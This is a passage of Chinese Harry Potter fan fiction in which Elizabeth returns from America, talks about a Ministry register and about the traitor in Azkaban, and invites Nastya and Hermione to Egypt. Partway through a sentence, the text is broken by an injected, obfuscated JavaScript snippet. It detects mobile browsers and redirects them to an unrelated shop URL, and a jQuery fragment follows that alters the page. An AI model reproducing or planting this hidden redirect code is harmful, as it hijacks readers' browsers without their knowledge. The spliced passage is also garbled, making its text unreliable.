“开个玩笑。我刚从美国开会回来,争取了几天假期。”伊丽莎白确认了好几遍女儿的状态,才重新戴上墨镜,“我带了好多礼物,我想你们会喜欢。” “我来接你们,然后移形换影去餐厅吃饭,”她继续说,“珍妮和莱斯特已经在过去的路上了。” 女孩们欢呼一声。 * 等待格兰杰夫妇的间隙,伊丽莎白告诉娜斯缇亚,毛毯在新出的进出魔法物品登记簿上被定义成了麻瓜手工艺品。 “我本来想坐着它来接你们的!”伊丽莎白抱怨道,“埃及的巫师都坐那个出行!比扫帚方便多了。” 娜斯缇亚从来没有这么感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627953|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢那些魔法部的工作人员。 见赫敏露出一个好奇的表情,她赶紧换了个话题:“伊莱莎,刚刚哈利给我看了一本相册,你居然参加了他父母的婚礼?你之前没告诉我你跟他们的关系还不错呢。” “为什么要用‘居然’?”伊丽莎白笑了笑,“不过,事实上,我是在毕业后才和莉莉熟起来的,那时候我们是同事,经常一起出去巡逻。” “你还记得他们婚礼上的那个伴郎吗?他长得真英俊。”娜斯缇亚问。 伊丽莎白忽然沉默了。 半晌,她才用一种冷冰冰的语气说:“我们从不提他,他是背叛者。” “他现在被关在阿兹卡班。” “阿兹卡班?”赫敏问。 “就是巫师监狱,赫敏。”娜斯缇亚小声说。 她们对视了一眼,之后就都不说话了。 * 两个女孩显然把伊丽莎白当成了移动的百科网站,一整周的假期,娜斯缇亚和赫敏几乎每天都在跟着她学习咒语。 她们甚至搬出了伊丽莎白书柜上最上层的那本咒语大全。 “你们两个,”临行的前一天上午,伊丽莎白忽然合上书本,一本正经地看着娜斯缇亚和赫敏,问,“要不要跟我一起到埃及去?” “明天?”娜斯缇亚看着她脚边的小行李箱,愣了愣,无法抑制自己产生一种雀跃的兴奋感,“我好久没去过埃及了……” 她上一回去那里玩,还是比尔刚入职的时候呢。 解咒员的工作很忙,伊丽莎白是绝对不会有时间陪她的。同时,那些古灵阁工作的妖精们也绝不会同意她出现在工作场所。 娜斯缇亚只能自己一个人去景点观光,偶尔蹭一蹭解咒员的讲座。 老实说,那些当地巫师自创的一些魔药和咒语还是很有趣的。 埃及人在幻术上的造诣很深,那是一种无杖魔法。可惜的是,只有真正埃及血脉的巫师,才能真正使出那些咒语。 无杖魔法考验巫师对咒语的理解, “赫敏?你想不想去?” 娜斯缇亚刚问出口,她就知道自己这句话属实多余。 因为赫敏眼里闪烁着像她一样亮晶晶的光芒。 “我现在就去问妈妈和爸爸!” “哦,”伊丽莎白笑了起来,“用不着你操心这件事,甜心。” “既然你们对此都没有异议,”她站起来,拍拍手掌,“那么,就各自回房间收拾行李吧。”